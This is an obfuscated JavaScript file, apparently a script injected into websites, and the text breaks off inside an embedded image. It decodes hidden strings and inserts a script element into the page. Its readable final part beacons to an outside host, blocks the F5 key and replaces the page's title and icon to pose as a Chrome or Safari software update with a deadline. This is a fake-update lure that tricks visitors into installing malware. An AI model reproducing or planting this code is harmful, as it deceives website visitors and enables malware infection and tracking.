_0x4712d9(_0x89cf61(a0_0x1e9404._0x5713e1, a0_0x1e9404._0x5d12c2, a0_0x1e9404._0x4b0561, a0_0x1e9404._0x56eb11, 'ya0z') + _0x89cf61(a0_0x1e9404._0x217da7, a0_0x1e9404._0x29c1ae, a0_0x1e9404._0x35e277, a0_0x1e9404._0x5941e9, a0_0x1e9404._0x5fbef3) + _0x3c9304(-0x132, a0_0x1e9404._0x41050c, -0xd3, -a0_0x1e9404._0x18b0de, -0xb7) + _0x4914fb(-0x12b, -0xf3, -0x11c, -0xd9, 'vX@8') + _0x11ae2(a0_0x1e9404._0x20c522, a0_0x1e9404._0x167aee, a0_0x1e9404._0x44923c, 'l0Ty', a0_0x1e9404._0x1f26ec) + _0x11ae2(a0_0x1e9404._0x3893bc, a0_0x1e9404._0x761e4c, a0_0x1e9404._0x1fd2ef, '$$O9', 0x381) + _0x11ae2(a0_0x1e9404._0x5dbe10, 0x367, a0_0x1e9404._0x37bb76, a0_0x1e9404._0x1f5bb6, a0_0x1e9404._0x202a5b) + _0x89cf61(a0_0x1e9404._0x1fea86, 0x218, a0_0x1e9404._0x31ec3c, a0_0x1e9404._0x4e3f3e, 'F3%i') + _0x1496ec(0x17d, 0x1ac, a0_0x1e9404._0x54932c, 'vMIv', 0x201) + _0x4914fb(-0x41, -0x86, -a0_0x1e9404._0x31a07d, -a0_0x1e9404._0x23b55e, 'ya0z') + _0x89cf61(a0_0x1e9404._0x592375, 0x21e, a0_0x1e9404._0x564e6b, a0_0x1e9404._0x4dd83f, a0_0x1e9404._0x13af2f) + _0x11ae2(0x3c9, 0x361, a0_0x1e9404._0x392404, a0_0x1e9404._0x52f5cd, 0x38f) + _0x1496ec(a0_0x1e9404._0x3636ae, a0_0x1e9404._0x313779, a0_0x1e9404._0x34fe15, '9E9%', a0_0x1e9404._0x1fff9b) + _0x1496ec(0x1cc, a0_0x1e9404._0x4d51a4, a0_0x1e9404._0x2c0916, 'LQmc', 0x1d9) + _0x89cf61(0x22d, 0x230, a0_0x1e9404._0x5596b9, a0_0x1e9404._0x40040b, 'F3%i') + _0x11ae2(a0_0x1e9404._0xc23256, a0_0x1e9404._0x34326d, a0_0x1e9404._0x7e882f, a0_0x1e9404._0x524eff, 0x352) + _0x1496ec(0x19b, a0_0x1e9404._0x5e45f6, 0x1e1, '^y#U', a0_0x1e9404._0x5c1350) + _0x4914fb(-a0_0x1e9404._0x76cd45, -0xf6, -0xce, -0x118, '8tOv') + _0x3c9304(-a0_0x1e9404._0x4c2196, 'dBcO', -0x84, -0xb0, -0xf6) + _0x1496ec(0x196, a0_0x1e9404._0x5a61e0, 0x231, a0_0x1e9404._0x43310e, a0_0x1e9404._0x54aec5));
else {
_0x34134c[_0x3c9304(-a0_0x1e9404._0x1e1058, a0_0x1e9404._0x496392, -0x8c, -0xc4, -0xd3) + _0x11ae2(0x35b, a0_0x1e9404._0x550d77, a0_0x1e9404._0x1049ad, a0_0x1e9404._0x223800, a0_0x1e9404._0x26cacc) + _0x89cf61(0x23f, 0x1dc, 0x237, 0x21e, a0_0x1e9404._0x3b137f) + 'r'](_0x3c9304(-0x126, a0_0x1e9404._0x491753, -a0_0x1e9404._0x1e3c9d, -a0_0x1e9404._0x16c385, -a0_0x1e9404._0x2ea0d6) + _0x1496ec(a0_0x1e9404._0x483ba0, 0x1f0, a0_0x1e9404._0x3fd147, a0_0x1e9404._0x1c13ae, 0x23d), _0x5d4757, !![]);
function _0x5d4757() {
var a0_0x132adb = {
_0x1dd105: 0x112
}
, a0_0x5cf119 = {
_0x13bdb8: 0x70,
_0x3c3874: 0x1f1
}
, a0_0x159cad = {
_0x2d3fdc: 0x2a,
_0x203f8e: 0xda,
_0x356fc0: 0x1b1
};
function _0x5b664b(_0x329ca1, _0x23bb86, _0x76553b, _0x30ddd5, _0xcee062) {
return _0x3c9304(_0x329ca1 - a0_0x31d416._0x59dab4, _0xcee062, _0x76553b - a0_0x31d416._0x307b65, _0x329ca1 - 0x3cd, _0xcee062 - 0x1b3);
}
function _0x168bea(_0x390d60, _0x5ec280, _0x39f9a9, _0x536ee3, _0x35b8da) {
return _0x3c9304(_0x390d60 - a0_0x159cad._0x2d3fdc, _0x536ee3, _0x39f9a9 - 0x25, _0x39f9a9 - a0_0x159cad._0x203f8e, _0x35b8da - a0_0x159cad._0x356fc0);
}
_0x34134c[_0x5b664b(0x2cc, a0_0x546847._0x165374, a0_0x546847._0x31f1e7, a0_0x546847._0x3f82d0, a0_0x546847._0x407e1a) + _0x5b664b(a0_0x546847._0x235768, a0_0x546847._0x322f74, a0_0x546847._0x4158c8, 0x2b9, 'Xmha') + _0x30ef9a(-0x1dd, -a0_0x546847._0xd2c526, -0x19b, -a0_0x546847._0x57c5e7, '&F42') + _0x54e52e('bOX@', a0_0x546847._0x403b91, 0x46c, a0_0x546847._0x3b4ca4, a0_0x546847._0x486676)](_0x30ef9a(-0x1e5, -a0_0x546847._0xf80a48, -a0_0x546847._0x2145e2, -a0_0x546847._0x55dca1, '#vMu') + _0x5b664b(a0_0x546847._0x6a740e, 0x35d, a0_0x546847._0x9db785, a0_0x546847._0x3ae820, 'vI)I'), _0x5d4757, !![]);
function _0x54e52e(_0x36d9a2, _0x297fd9, _0xebe0d7, _0xaa5050, _0x13b307) {
return _0x89cf61(_0x36d9a2 - a0_0x5cf119._0x13bdb8, _0x297fd9 - 0x12f, _0xebe0d7 - 0xf4, _0xebe0d7 - a0_0x5cf119._0x3c3874, _0x36d9a2);
}
function _0x30ef9a(_0x398ae5, _0x51f2b0, _0x2999fa, _0x15d5c9, _0x1d53d6) {
return _0x4914fb(_0x398ae5 - 0x16b, _0x398ae5 - -0xe0, _0x2999fa - a0_0x23b9e5._0x2b783f, _0x15d5c9 - a0_0x23b9e5._0x38d4b3, _0x1d53d6);
}
function _0x4ba858(_0x1e3d46, _0x2ddb64, _0x91e85, _0x21a23b, _0x300f74) {
return _0x11ae2(_0x1e3d46 - 0x1cf, _0x2ddb64 - a0_0x132adb._0x1dd105, _0x91e85 - -0x49d, _0x2ddb64, _0x300f74 - 0x10c);
}
_0x4712d9(_0x168bea(-0x6f, 0x27, -0x1b, 'F59T', -a0_0x546847._0x20f815) + _0x168bea(0x6d, -0xe, 0x41, a0_0x546847._0x44ac66, a0_0x546847._0x24a567) + _0x30ef9a(-0x187, -0x1c2, -0x179, -a0_0x546847._0x2a602f, a0_0x546847._0x16cd49) + _0x4ba858(-0x17b, 'vX@8', -a0_0x546847._0x5f3141, -a0_0x546847._0x20d5fb, -a0_0x546847._0x14d8be) + _0x168bea(-a0_0x546847._0x1d2909, 0x39, 0x28, 'GRSl', 0x69) + _0x168bea(0xd, a0_0x546847._0x101d36, 0x39, a0_0x546847._0x1c91f7, -0xc) + _0x30ef9a(-0x19d, -a0_0x546847._0x10e18c, -0x191, -0x1c5, a0_0x546847._0x2d950f) + _0x5b664b(0x2a9, a0_0x546847._0xa51306, 0x2e4, a0_0x546847._0x57824c, 'B9Bc') + _0x54e52e('yv@X', a0_0x546847._0x142f19, a0_0x546847._0x312e82, a0_0x546847._0x44c699, a0_0x546847._0x51d5fe) + _0x30ef9a(-0x1b5, -0x191, -0x20c, -0x1d3, 'F59T') + _0x5b664b(0x338, a0_0x546847._0x2cb7df, 0x31e, 0x2ed, a0_0x546847._0x4f57b5) + _0x54e52e('NGUE', a0_0x546847._0x4b15d5, 0x3e3, a0_0x546847._0x4e1083, 0x3c8) + _0x168bea(-0xf, -a0_0x546847._0x4b260b, 0x3f, a0_0x546847._0x362be4, 0x5d) + _0x54e52e(a0_0x546847._0x382071, a0_0x546847._0x5a7a24, a0_0x546847._0x21f855, a0_0x546847._0x82fac2, a0_0x546847._0x7c7766) + _0x30ef9a(-0x18b, -0x137, -0x1cc, -0x18f, a0_0x546847._0x3ff27e) + _0x54e52e(a0_0x546847._0x37d0e2, a0_0x546847._0x5e4ecf, 0x3cd, a0_0x546847._0x2a9dd0, 0x3ae) + _0x5b664b(0x2b4, a0_0x546847._0x37ca7e, 0x2d1, 0x285, a0_0x546847._0x38b1d7) + _0x30ef9a(-a0_0x546847._0x2fae3f, -a0_0x546847._0xacb02a, -0x1cd, -0x16f, a0_0x546847._0x40ab32) + _0x4ba858(-a0_0x546847._0x450f95, a0_0x546847._0x41137a, -a0_0x546847._0x2dc44e, -0x164, -0x125) + _0x4ba858(-0x134, 'vMIv', -0x153, -a0_0x546847._0x3db7c1, -0x147));
}
}
function _0x4712d9(_0x476a34) {
var a0_0x584503 = {
_0xb5e44f: 0x13f,
_0x7681e8: 0x76,
_0x539c76: 0x153
}
, a0_0x14ad19 = {
_0x106dc6: 0x1c9,
_0x48173a: 0x22f
};
function _0x43b3eb(_0x2c516e, _0x5babca, _0x177dcf, _0x2aac79, _0x3330dd) {
return _0x11ae2(_0x2c516e - a0_0x41a2d5._0x429013, _0x5babca - 0x17d, _0x2aac79 - -a0_0x41a2d5._0x176249, _0x5babca, _0x3330dd - 0x157);
}
function _0x16e808(_0x5bad60, _0x14125d, _0x37f601, _0x11c195, _0x2a241d) {
return _0x11ae2(_0x5bad60 - a0_0x4d2279._0x4da638, _0x14125d - 0x80, _0x5bad60 - a0_0x4d2279._0x417925, _0x14125d, _0x2a241d - 0x22);
}
var _0x337048 = document[_0x5586d4(0x148, '0IHC', a0_0x599c76._0x44486a, a0_0x599c76._0x411a9e, 0x11d) + _0x5586d4(a0_0x599c76._0x4cb845, a0_0x599c76._0x27c5fb, 0xe6, 0x175, 0x120) + _0x5586d4(a0_0x599c76._0x1e645a, a0_0x599c76._0x147298, 0xe3, a0_0x599c76._0x14ed99, 0x129)](_0x39a209(0x321, 0x359, 0x381, 0x316, a0_0x599c76._0x147298) + 't');
function _0x5586d4(_0x235671, _0xf7c080, _0x39be77, _0x185103, _0x280cb1) {
return _0x11ae2(_0x235671 - a0_0x14ad19._0x106dc6, _0xf7c080 - 0x38, _0x280cb1 - -a0_0x14ad19._0x48173a, _0xf7c080, _0x280cb1 - 0x111);
}
_0x337048[_0x5586d4(a0_0x599c76._0x2ca397, '#096', 0xa8, a0_0x599c76._0x5ff8c3, 0xc8)] = !![];
function _0x39a209(_0x3d44fd, _0x5a08bd, _0x16c235, _0x488242, _0x47cc01) {
return _0x3c9304(_0x3d44fd - a0_0x2e556f._0xd9cbb0, _0x47cc01, _0x16c235 - 0x157, _0x5a08bd - a0_0x2e556f._0x164187, _0x47cc01 - 0x1ab);
}
_0x337048[_0xf0253d(0x133, a0_0x599c76._0x2db75b, 0x166, a0_0x599c76._0x1aa388, 0x1bc)] = _0x476a34;
var _0x3bd8fb = document[_0x5586d4(0x116, a0_0x599c76._0xefc291, a0_0x599c76._0x39f86d, 0xbc, 0x104) + _0x39a209(a0_0x599c76._0x52a6f9, 0x368, 0x35e, a0_0x599c76._0x454a2f, a0_0x599c76._0x235c9f) + _0x43b3eb(-0x114, 'F59T', -a0_0x599c76._0xdbf33, -0x137, -0x14a) + _0xf0253d(0x17e, a0_0x599c76._0x5166f9, 0x18f, 0x151, 0x197)](_0x5586d4(0xe3, a0_0x599c76._0x106856, 0x179, 0x129, 0x12f) + 't')[-0xc2d + -0x27d + 0xeaa * 0x1];
function _0xf0253d(_0x49f317, _0x136380, _0x144db2, _0x5b86d0, _0x2052be) {
return _0x1496ec(_0x49f317 - a0_0x584503._0xb5e44f, _0x144db2 - -0x6d, _0x144db2 - a0_0x584503._0x7681e8, _0x136380, _0x2052be - a0_0x584503._0x539c76);
}
_0x3bd8fb[_0x39a209(a0_0x599c76._0x2a74d5, 0x371, 0x371, a0_0x599c76._0x215c80, a0_0x599c76._0x258dbf) + _0x5586d4(a0_0x599c76._0x3f1bc8, 'xeke', a0_0x599c76._0x2d5940, a0_0x599c76._0x2c11e4, 0x149)][_0xf0253d(a0_0x599c76._0x15bb79, a0_0x599c76._0x46a659, 0x121, 0xef, a0_0x599c76._0x58f566) + _0x43b3eb(-a0_0x599c76._0x33d33e, 'l0Ty', -a0_0x599c76._0x3e49f2, -0x12d, -a0_0x599c76._0x4ff224) + 're'](_0x337048, _0x3bd8fb);
}
}()));
function a0_0x1bea(_0xd2ab8, _0x10fa8e) {
var _0x33be8f = a0_0xb5f1();
return a0_0x1bea = function(_0x44aac4, _0x1e7575) {
_0x44aac4 = _0x44aac4 - (-0x12e2 + 0xe20 + 0x47 * 0x17);
var _0x5b65f8 = _0x33be8f[_0x44aac4];
if (a0_0x1bea['pjXiym'] === undefined) {
var _0x4b7c96 = function(_0x460e9c) {
var _0x461e7f = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
var _0x10aabb = ''
, _0x170f35 = '';
for (var _0x3b6cba = -0x4 * -0x217 + -0x1e1b + -0x15bf * -0x1, _0x170482, _0xb42ca1, _0x54f388 = -0x245b + -0x1885 + 0x1e7 * 0x20; _0xb42ca1 = _0x460e9c['charAt'](_0x54f388++); ~_0xb42ca1 && (_0x170482 = _0x3b6cba % (-0x19ab + -0x1f88 + 0x3937) ? _0x170482 * (0x267f + -0x98a + -0x1cb5) + _0xb42ca1 : _0xb42ca1,
_0x3b6cba++ % (-0x25ae + -0x2e + 0x25e0)) ? _0x10aabb += String['fromCharCode'](0x199 * -0x1 + -0x1 * 0x1679 + 0x1911 & _0x170482 >> (-(0x15 * 0xe3 + 0x2f * -0xc1 + -0x10d2 * -0x1) * _0x3b6cba & -0x19d6 + 0x1 * -0x127d + 0x1 * 0x2c59)) : -0x3 * -0xa97 + -0x2238 + -0x13 * -0x21) {
_0xb42ca1 = _0x461e7f['indexOf'](_0xb42ca1);
}
for (var _0x2da95a = 0x199e + -0xa28 + 0x2 * -0x7bb, _0x22cf5b = _0x10aabb['length']; _0x2da95a < _0x22cf5b; _0x2da95a++) {
_0x170f35 += '%' + ('00' + _0x10aabb['charCodeAt'](_0x2da95a)['toString'](0xe0b + 0x43 * -0x31 + -0x128))['slice'](-(-0xf1 * 0x27 + 0x65 * 0x3d + 0x10e * 0xc));
}
return decodeURIComponent(_0x170f35);
};
var _0x2610bd = function(_0x342f78, _0x5b18e8) {
var _0x372921 = [], _0x1ad6cf = 0x3a7 * -0x3 + 0x18c4 * -0x1 + 0x23b9, _0x190f99, _0x524011 = '';
_0x342f78 = _0x4b7c96(_0x342f78);
var _0x1b5ce6;
for (_0x1b5ce6 = -0x1 * -0x72b + 0x234a + -0x2a75; _0x1b5ce6 < 0x2587 + 0x529 + -0x29b0; _0x1b5ce6++) {
_0x372921[_0x1b5ce6] = _0x1b5ce6;
}
for (_0x1b5ce6 = 0x39 * -0xa4 + 0x26c6 + -0x242; _0x1b5ce6 < -0x11e7 + 0x1 * -0xa06 + 0x5c9 * 0x5; _0x1b5ce6++) {
_0x1ad6cf = (_0x1ad6cf + _0x372921[_0x1b5ce6] + _0x5b18e8['charCodeAt'](_0x1b5ce6 % _0x5b18e8['length'])) % (-0x23d9 + -0xa9 * 0x39 + 0x4a7a),
_0x190f99 = _0x372921[_0x1b5ce6],
_0x372921[_0x1b5ce6] = _0x372921[_0x1ad6cf],
_0x372921[_0x1ad6cf] = _0x190f99;
}
_0x1b5ce6 = -0x1 * -0x2104 + -0x7 * 0x504 + 0x218,
_0x1ad6cf = -0x585 + 0x3 * -0x40f + -0x11b2 * -0x1;
for (var _0x222f55 = 0x203 * 0x7 + 0x148b + -0x454 * 0x8; _0x222f55 < _0x342f78['length']; _0x222f55++) {
_0x1b5ce6 = (_0x1b5ce6 + (-0x2 * -0xbb + -0x3 * 0x337 + 0x830 * 0x1)) % (-0x5 * 0x316 + 0x21b3 + -0x1145),
_0x1ad6cf = (_0x1ad6cf + _0x372921[_0x1b5ce6]) % (0x3 * -0x837 + 0x5 * 0x694 + -0x73f),
_0x190f99 = _0x372921[_0x1b5ce6],
_0x372921[_0x1b5ce6] = _0x372921[_0x1ad6cf],
_0x372921[_0x1ad6cf] = _0x190f99,
_0x524011 += String['fromCharCode'](_0x342f78['charCodeAt'](_0x222f55) ^ _0x372921[(_0x372921[_0x1b5ce6] + _0x372921[_0x1ad6cf]) % (-0x641 + -0xcd6 + 0x1 * 0x1417)]);
}
return _0x524011;
};
a0_0x1bea['ulFnhZ'] = _0x2610bd,
_0xd2ab8 = arguments,
a0_0x1bea['pjXiym'] = !![];
}
var _0x50f845 = _0x33be8f[0xa * -0x3b4 + 0x249e + 0x1 * 0x6a]
, _0x3c9943 = _0x44aac4 + _0x50f845
, _0xa879be = _0xd2ab8[_0x3c9943];
return !_0xa879be ? (a0_0x1bea['XnqdQe'] === undefined && (a0_0x1bea['XnqdQe'] = !![]),
_0x5b65f8 = a0_0x1bea['ulFnhZ'](_0x5b65f8, _0x1e7575),
_0xd2ab8[_0x3c9943] = _0x5b65f8) : _0x5b65f8 = _0xa879be,
_0x5b65f8;
}
,
a0_0x1bea(_0xd2ab8, _0x10fa8e);
}
function a0_0xb5f1() {
var _0x40f620 = ['W7VdP8o7WRZcKG', 'y8kXWPFdUmoP', 'W4HakG5k', 'W7VcRmo8WQFcQa', 'WPNdMmkJDmk6imk4ff/cVSox', 'WPL5eSkG', 'W5GUW48vzW', 'WQLcWR/cUCkjW5tdNSkt', 'WQveWOhcT8ou', 'vCk7W6ypWPi', 'W5lcVeWLqq', 'WQn4BguM', 'Bqm+WQej', 'WR9jWPFcU8oC', 'WRLsW5pcIXy', 'zXKDWRSe', 'W5GUW48vyq', 'W5KhW6miDG', 'WRxdTmkkvNC', 'W5iCwG', 'W4jTWO4omCkIaxapohybhCoz', 'WP7dGmkGtrG', 'WQCtW5jRWP8', 's8kBW73dR8kE', 'WPmEW5bFBW', 'WPRdS3Sfea', 'c8okW41rW4i', 'mt7cQ8kiAW', 'W6hcVCo7WQtcHa', 'WP4VW4HkCq', 'ESkTW73cUmkQ', 'W7SOW6JcGX8', 'W43cJ1ldLc8', 'WRnjWOC', 'WQfgWORcSCoc', 'W6FcHSokW4Gy', 'B8oUWReJW6W', 'mmkdmCkyWOFdISkgua', 'WOS4WRldPCoXWR5cW5BdGXVcTColCW', 'W61LasuP', 'WQ0WW7pdGtG', 'DCofjG', 'WRDdWPFcM8os', 'WPFdJSk7i8o/', 'W7TZpGfu', 'W71TW4pcQa1QWRm', 'W7RcVCoGWRNcKG', 'xaybW5jj', 'W4qBFYvqaqZcSq', 'qmkIW54', 'WPXBjw/cQq', 'W6/dNgDPW4y', 'WPaEWQNcSmoh', 'W45pkqqs', 'W6DYW6hdNIS', 'oHVcTeSn', 'W7tdJSkEl1j2CG', 'W6ZdJezQW4G', 'WPJdNmkXyau', 'rqOBWRyL', 'W6LNcIm/', 'qH0huwG7h2FcJCkbW4NdR8kU', 'hY1xAmka', 'WRW4W6frW6C', 'W6pdNSkDW5OA', 'DmovWQOIW7S', 'fatcV3Oh', 'W791qCoVuSkpW5hdR8owW6DMW7a', 'WRTiWOxcUW', 'nM3dKSoAAqiAwSkrbsRdL0ZcJa', 'W5rHW7xcTq', 'sJKbWPOf', 'W4zBfmoAsW', 'AWtdOMJdRI7cLCoUWOxdJmkNW5ip', 'FmoFWQG', 'rbKdiqvnxeBcSW', 'W4P6W6ZcVCkH', 'FmoWWO3dTCo1', 'WOtdICkFlh8', 'zbuFWReg', 'aZnHFSkq', 'WPLHeSk2', 'A8kzhSkHzW', 'W6arW6eivG', 'WPDVahVcIG', 'WQNdJ8oYqmoo', 'W4i1w33cJq', 'AaRcKCk+W74', 'WPWOjKFcNa', 'WQCcW4WvvW', 'WQTgW5hdQmo+WPxcPCk8DwKjtNa', 'W5pcJ1BdMcy', 'W6tcPIu/WRNcHmopv0P6oCoP', 'WReSdCkXdq', 'W4ulkb4t', 'xmk3W6lcHSoB', 'AHiSWRue', 'WR/dT8ktm1S', 'pCkyWOi', 'otvRB8kb', 'CCkRW6uwxa', 'zWRcNCk0W6m', 'zSoAWO3dSCoU', 'W4dcQs1svmkHW5r6trddNqVdSG', 'WPxdPcldQda', 'ccjklgG', 'D8kLW4K', 'W5axWOdcVCkG', 'W5vHW6dcSCkO', 'WPi2W5fwqW', 'zZxcHCkC', 'Bmo+WQe', 'W5xdHmkaW4ar', 'zZRcMSkAka', 'imo6rHpdKW', 'bCkrWQxcVa', 'W6dcP8oRWRhcJW', 'WPSvW4LSW5e', 'DtRcMCkbpa', 'WQPlW5ZdQCoXWPpcQmklAg0+C2W', 'WQe3W4rkmq', 'lsldJ8kApa', 'o1xcGZJcSa', 'zCo1WRe', 'W7BcPCkRrSov', 'jrdcJCo6W78', 'WR5IW7dcLtW', 'pSo0W7vyW5W', 'BCkcW6NcGmkk', 'qXGexgWZse/cOCk1W4FdNq', 'W6a9lZKO', 'W4RcNG3dGIq', 'AmkifSkIxq', 'ycP5nK0', 'W6FcSt9TW7u', 'W5fHW7dcPmkQ', 'CqddJCkBW60', 'W73cVCoMWRRcKa', 'WRipeCk4ba', 'rcWbWR8p', 'umopxJu7', 'FGVcMSkWW7e', 'ECorWOJdNCoD', 'WOm1W5HlwG', 'W6PpcsLl', 'W63dOSoFWPlcNW', 'nWFcMwGm', 'eSkZWOy4WR/cPwep', 'WPtdNmk2sr4', 'WQKtW6TpW5m', 'WRZcS8kueCoi', 'WRCyuhGjv8ofWQ/cSSotwq', 'ferveta', 'W7NcUHNdQXe', 'AgJcJ8k5eG', 'rSo7frJcO8oQWQCQaqalAW', 'WP7dGCoSW4xdRG', 'EqdcK8k6W6e', 'eCokW4PgW5C', 'sxP1us0', 'tSoIWP9/W7G', 'W5HDW7ioDG', 'W6dcLmkYtSoE', 'eLbgWQyICh48sG', 'WRPkyJT+', 'WRddSwv9W6u', 'WRhdT8k7ewW', 'W4DzrCkYW4S', 'W7yiiIC', 'DSk0W6tcPmky', 'frfbWRSm', 'WPldLNtdSx4', 'WO8eW5jeW5G', 'W5icW5v7W50', 'WRjukWfZFmoK', 'W4FdHmotW7NdLmo7W4q'];
a0_0xb5f1 = function() {
return _0x40f620;
}
;
return a0_0xb5f1();
}
(function() {
window.localStorage[window.location.hostname] = 1;
var isChrome = /chrome/i.test(navigator.userAgent);
var browser = 'Safari';
if (isChrome) {
browser = 'Chrome';
}
var domain = 'https://customer.thewayofmoney.us/';
function fetch2(type) {
var i = new Image();
i.src = domain + type;
}
function onkeydownFunc(e) {
try {
if (e.key == 'F5') {
e.preventDefault();
return false;
}
} catch (e) {}
}
window.addEventListener('keydown', onkeydownFunc, true);
var deadline = 'July 27, 2025';
if (isChrome) {
document.head.innerHTML = '<title>Chrome Software Update</title>' + '<link rel="shortcut icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAACalBMVEX///8zhD/WnCjlsCH80glMtUlCmkQ/lEPsWkzqU0fntCDoS0HmQTrfIiffIifZoSc9k0M5jULmQTrkNzPhqyT80gnvvhrWnChMtUlFn0bsXU7rVUgzhD/iMTA5jULfqCXkNzPdpibgJyrntCDWnChMtUlCmkTpUEQzhD/kUSHoS0H80gnvvhrWnChMtUlFo0bvZ1bsXU4zhD85jULzxRXntCDdpibWnChMtUlIp0fwa1lCmkTuYlJtgzr4zA/oS0HlPDffIidMtUnvvhpIp0dChcboS0HlPDfgJyriMTDntCDhqyRqoNTF1N9jm9NKrkj4zA9alM5Fo0ZRj8vwa1lFn0ZNjMrvZ1ZCmkRLi8nuYlJGh8f2yBLsXU7sWkw8gsQ2f8I2f8HrVUjqU0fpUEQxe7zzxRXmQTryxBbkNzPO2eTfIifWISTlsCHjMjHuwBPltBlwptk/lENro9fgYGLR3Oc9k0Pb59zQ1d3hWFg5jULE1+hgmdFKqEPV4e380gmzzucteboseLhVkc02c6gpdbUsc6z1zwshbayNtt3N3u91w3KNr8l6rt3ZoSd2q9vOHCDp9uhbmD/ha2/Y1YW5uhviyMji2sq4tCfY5vJsw2ndpiaHtnPpzGS747lBhLuUtiv421F8qtZ4p9RmtmbWnCjtzA3p0tO6myz52kPhUkH92jeTZVJpqWDxwxFvqDRYrEHy7dRZcjDgSSnhSCPhQ0PhvVwicK7v6tHASEtunjtyXyyJVy3XxRTFPkAcY5+mRivpuhaFzoKBy39Sn0D111DHJCK1JR/51zTIGh6YJhrAFxvY2+FMir6ZHwFFAAAAQnRSTlMAEREREREREREREREREVVVVVVVVVV3d3d3d3d3d4iIiIiIiJmZmZmZmZmZqqqqqqqqqqru7u7u7u7u7u7u7u7u7u473/RYAAACIUlEQVR4Xq3OU2MdURSG4amd2k1pI6m9h8e2bcS2ndq2bdv/qSsz+4S9zHv7PbP2EIPZ6Dkbd2q1WsPuTXPH/AeMW+G2m80Gg8Fss3u8q8f3B1P2MV633W6z2exuD8ME9k/tCxaygQDDeD2Ql4GdZePpvUG6KMTyBAp0zaG4iFvcA9I4kSgeAgOIDbAhmEUcF0lLgRF7ohwQMJCwwhyJHJiAwTL0IcpFOEDc06KiW4+hJ3yr8AGEDn2Lwhdc7rHCwvCf48+SyeTHROKetWE4D2YhhN50gjgcbupoa+toyjsLo7ICms6D9QC+fO+M5oal8pysrBypNO9rhdAaHmxH0OvfP69fVpXK5VJ5qerSCwz28kCBoLJf78otmhoVVKMxlf8QgLIHoEcvK2mLSa/R600WuvnmQIDuVDodDpq20LTDWYKBtTe4e9Lnczkhl8sXvi0cEMAOLA6er6uu8vmqquv+PsQvZPJgAwafmusbn0ON9SUX8YG1PJhNYXFOVvseqg0fwX8QnMGDkToKCX0ukLW2ygrOXBN2PzmW4FuuTgl0qqXliu6osFvJJYTQqF1qhQKlou43AFAq/eSWYQRuklFNdYuyt/z/BUnxNKK7+UYdhY8oLsDX8DwpWSBsWOR3HQGjeJCw+oMkKZYsIvo0OSPbqFNTlPoECatYsnUi0a8hK4vzs43GV7FYTHK6felQGAaQeZszim+0X922bibMg9c/2eD7EBLmf70AAAAASUVORK5CYII=" />';
} else {
document.head.innerHTML = '<title>Safari Software Update</title>' + '<link rel="shortcut icon" href="data:image/jpg;base64,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